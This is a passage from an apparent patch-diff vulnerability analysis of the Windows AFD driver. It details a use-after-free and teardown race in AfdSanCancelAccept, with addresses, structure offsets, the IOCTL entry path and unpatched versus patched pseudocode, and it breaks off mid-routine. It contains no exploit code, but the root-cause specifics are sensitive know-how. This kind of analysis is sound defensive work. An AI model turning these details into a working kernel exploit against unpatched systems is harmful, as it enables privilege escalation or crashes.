&lt;h3&gt;Finding 1 — Medium: pending IRPs not drained on teardown (&lt;code&gt;AfdSanCancelAccept&lt;/code&gt;)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Medium&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Class&lt;/td&gt;
&lt;td&gt;Use-After-Free of a recycled object (CWE-416) + teardown race (CWE-362)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Function (unpatched)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AfdSanCancelAccept @ 0x1C007E110&lt;/code&gt; (cancel routine for AFD San accept IRPs)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Function (patched)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AfdSanCancelAccept @ 0x1C007F120&lt;/code&gt; (relocated)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Feature gate&lt;/td&gt;
&lt;td&gt;&lt;code&gt;g_Feature_556471608_60363862&lt;/code&gt; via &lt;code&gt;EvaluateCurrentState&lt;/code&gt; (old path retained when disabled)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Entry point&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NtDeviceIoControlFile&lt;/code&gt; on &lt;code&gt;\Device\Afd&lt;/code&gt;, AFD San accept/redirect IOCTL path&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; When an AFD San accept IRP is cancelled, &lt;code&gt;AfdSanCancelAccept&lt;/code&gt; runs as the IRP's cancel routine. It:
1. Acquires the connection spinlock at &lt;code&gt;conn+0x30&lt;/code&gt;.
2. Unlinks the &lt;em&gt;current&lt;/em&gt; IRP from the connection's pending-IRP list (the IRP's own list entry is at &lt;code&gt;irp+0xA8&lt;/code&gt;).
3. If the connection is not already marked closed (&lt;code&gt;conn+0x08 &amp;amp; 0x800&lt;/code&gt;), it drops the endpoint reference held at &lt;code&gt;conn+0x50&lt;/code&gt; (&lt;code&gt;AfdDereferenceEndpointInline&lt;/code&gt;), then &lt;code&gt;memset&lt;/code&gt;s 0x48 bytes starting at &lt;code&gt;conn+0x50&lt;/code&gt;, clears the state word at &lt;code&gt;conn+0x08&lt;/code&gt;, and rewrites the type tag at &lt;code&gt;conn+0x00&lt;/code&gt; to &lt;code&gt;0xAFD0&lt;/code&gt; (the recycled/free marker) with the byte at &lt;code&gt;conn+0x02&lt;/code&gt; set to 1.
4. Completes only the current IRP with &lt;code&gt;STATUS_CANCELLED (0xC0000120)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The problem: the pending-IRP &lt;strong&gt;list head lives at &lt;code&gt;conn+0x70/+0x78&lt;/code&gt;, which is inside the &lt;code&gt;memset&lt;/code&gt; range (&lt;code&gt;conn+0x50 .. conn+0x98&lt;/code&gt;)&lt;/strong&gt;. Any &lt;em&gt;other&lt;/em&gt; IRPs that were queued on that list (their entries at &lt;code&gt;irp+0xA8&lt;/code&gt;) are never unlinked or completed. After the &lt;code&gt;memset&lt;/code&gt; zeroes the list head and the type tag marks the connection recycled, those sibling IRPs still point at the connection. When one of them is later cancelled or completed, its cancel routine (&lt;code&gt;AfdSanCancelRequest @ 0x1C007E3A0&lt;/code&gt;) re-acquires the connection lock and manipulates list linkage on the zeroed head / recycled object → list-integrity &lt;code&gt;__fastfail&lt;/code&gt; (&lt;code&gt;int 29h&lt;/code&gt;) bugcheck, or operation on a connection object that has been reset and may have been re-handed-out by the AFD SLIST allocator.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What the patch does.&lt;/strong&gt; The patched &lt;code&gt;AfdSanCancelAccept @ 0x1C007F120&lt;/code&gt;, when &lt;code&gt;g_Feature_556471608_60363862&lt;/code&gt; is enabled:
1. Sets a teardown flag at &lt;code&gt;conn+0x91 = 1&lt;/code&gt; before touching the list.
2. Walks the entire pending-IRP list at &lt;code&gt;conn+0x70&lt;/code&gt;, unlinking every entry into a local drain chain (linked through the IRP list-entry fields); the connection is not reset in this first locked pass.
3. Releases the spinlock, then completes each drained IRP with &lt;code&gt;STATUS_CANCELLED (0xC0000120)&lt;/code&gt; outside the lock (clearing each IRP's cancel routine and synchronising with the cancel spinlock first).
4. Re-acquires the connection spinlock a second time and only then runs the endpoint-deref + &lt;code&gt;memset&lt;/code&gt; reset sequence.&lt;/p&gt;
&lt;p&gt;When the feature is &lt;strong&gt;disabled&lt;/strong&gt;, the patched routine falls through the &lt;code&gt;else&lt;/code&gt; branch to the exact original sequence (endpoint deref, &lt;code&gt;memset&lt;/code&gt; at &lt;code&gt;conn+0x50&lt;/code&gt;, type reset) with no drain — identical to the unpatched behaviour.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Entry point &amp;amp; call chain.&lt;/strong&gt;
1. A Winsock operation issues &lt;code&gt;NtDeviceIoControlFile&lt;/code&gt; on &lt;code&gt;\Device\Afd&lt;/code&gt; reaching the AFD San accept path.
2. &lt;code&gt;AfdSanAcceptCore @ 0x1C007D0B8&lt;/code&gt; installs &lt;code&gt;AfdSanCancelAccept&lt;/code&gt; as the accept IRP's &lt;code&gt;CancelRoutine&lt;/code&gt; (&lt;code&gt;lea rax, AfdSanCancelAccept&lt;/code&gt; at &lt;code&gt;0x1C007D2B5&lt;/code&gt;).
3. When the IRP is cancelled (endpoint closed/aborted), &lt;code&gt;AfdSanCancelAccept&lt;/code&gt; runs and performs the teardown described above.&lt;/p&gt;
&lt;h3&gt;Finding 2 — Low: missing teardown-flag gate in send/receive insert paths&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;Low (race-window amplifier for Finding 1; same feature gate)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Class&lt;/td&gt;
&lt;td&gt;Missing state check / TOCTOU (CWE-362)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Functions (unpatched)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AfdSanFastCompleteRequest @ 0x1C007FE70&lt;/code&gt;, &lt;code&gt;AfdSanRedirectRequest @ 0x1C0081074&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Functions (patched)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AfdSanFastCompleteRequest @ 0x1C0080F80&lt;/code&gt;, &lt;code&gt;AfdSanRedirectRequest @ 0x1C0082238&lt;/code&gt; (both relocated)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched behavior&lt;/td&gt;
&lt;td&gt;Before inserting an IRP into the pending list at &lt;code&gt;conn+0x70&lt;/code&gt;, they now additionally require &lt;code&gt;!EvaluateCurrentState(g_Feature_556471608_60363862) || conn+0x91 == 0&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The unpatched insert paths queue an IRP into &lt;code&gt;conn+0x70&lt;/code&gt; after only checking the IRP-cancelled flag (&lt;code&gt;irp+0x68&lt;/code&gt;). They have no notion of a teardown flag (none exists in the unpatched build). The patched paths add the &lt;code&gt;conn+0x91&lt;/code&gt; teardown-flag check so that, once teardown has begun, new IRPs are not queued onto a connection that is being drained. Both the relocated cancel routine reference (&lt;code&gt;AfdSanCancelRequest&lt;/code&gt;, relocated &lt;code&gt;0x1C007E3A0 → 0x1C007F4D0&lt;/code&gt;) and this gate belong to the same staged feature.&lt;/p&gt;
&lt;h3&gt;Finding 3 — Low: device-attachment validation in connection creation (&lt;code&gt;AfdCreateConnection&lt;/code&gt;)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;Low (defense-in-depth; same feature gate, old path retained)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Class&lt;/td&gt;
&lt;td&gt;Improper input validation (CWE-20)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Function (unpatched)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AfdCreateConnection @ 0x1C0055AB0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Function (patched)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AfdCreateConnection @ 0x1C0055BF0&lt;/code&gt; (new); original logic retained as &lt;code&gt;AfdCreateConnection_Old @ 0x1C0007DE4&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched behavior&lt;/td&gt;
&lt;td&gt;The new routine adds &lt;code&gt;IoGetDeviceAttachmentBaseRef&lt;/code&gt;-based device-attachment validation (the count of &lt;code&gt;IoGetDeviceAttachmentBaseRef&lt;/code&gt; call sites rises from 3 to 5 across the binary) plus &lt;code&gt;DesiredAccess&lt;/code&gt;/&lt;code&gt;Options&lt;/code&gt; checks. On mismatch it fails the request.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;This is a hardening of connection creation, not the primary teardown issue. It is gated behind the same feature; when the feature is disabled the retained &lt;code&gt;AfdCreateConnection_Old&lt;/code&gt; runs instead. Note that address &lt;code&gt;0x1C0007DE4&lt;/code&gt; holds a &lt;em&gt;different&lt;/em&gt; function in the unpatched build (&lt;code&gt;rbc_InitializeFeatureStaging&lt;/code&gt;); &lt;code&gt;AfdCreateConnection_Old&lt;/code&gt; is the relocated pre-patch connection-creation logic and must be matched by content, not by that reused address.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;AfdSanCancelAccept&lt;/code&gt; (&lt;code&gt;0x1C007E110&lt;/code&gt; → &lt;code&gt;0x1C007F120&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ====== UNPATCHED AfdSanCancelAccept @ 0x1C007E110 ======&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;AfdSanCancelAccept&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IRP&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Tail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Overlay&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CurrentStackLocation&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="n"&gt;NamedPipeType&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// context&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;                                     &lt;/span&gt;&lt;span class="c1"&gt;// *(ctx+0x18)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeAcquireInStackQueuedSpinLockAtDpcLevel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Unlink ONLY the current IRP from the pending list (entry at irp+0xA8)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Flink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Tail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Overlay&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ListEntry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Flink&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Flink&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// integrity-checked RemoveEntryList of the current IRP&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Blink&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Flink&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Flink&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Blink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Blink&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x08&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x800&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// not already closed&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// *** NO DRAIN OF THE OTHER PENDING IRPs ***&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;AfdDereferenceEndpointInline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// drop endpoint ref&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// zeroes conn+0x50..0x98,&lt;/span&gt;
&lt;span class="w"&gt;                                                       &lt;/span&gt;&lt;span class="c1"&gt;// INCLUDING the list head at +0x70/+0x78&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x08&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ushort&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xAFD0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// recycled/free marker&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x02&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;KeReleaseInStackQueuedSpinLockFromDpcLevel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;IoReleaseCancelSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CancelIrql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;_InterlockedExchange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x158&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ObfDereferenceObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// deref the context object&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IoStatus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_CANCELLED&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// 0xC0000120&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;IofCompleteRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AfdPriorityBoost&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// completes ONLY this IRP&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// *** any other IRPs still on conn+0x70 now dangle on a zeroed head ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;KeReleaseInStackQueuedSpinLockFromDpcLevel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;IoReleaseCancelSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CancelIrql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ====== PATCHED AfdSanCancelAccept @ 0x1C007F120 ======&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;AfdSanCancelAccept&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IRP&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeAcquireInStackQueuedSpinLockAtDpcLevel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... identical integrity-checked RemoveEntryList of the current IRP ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;drain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x08&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x800&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
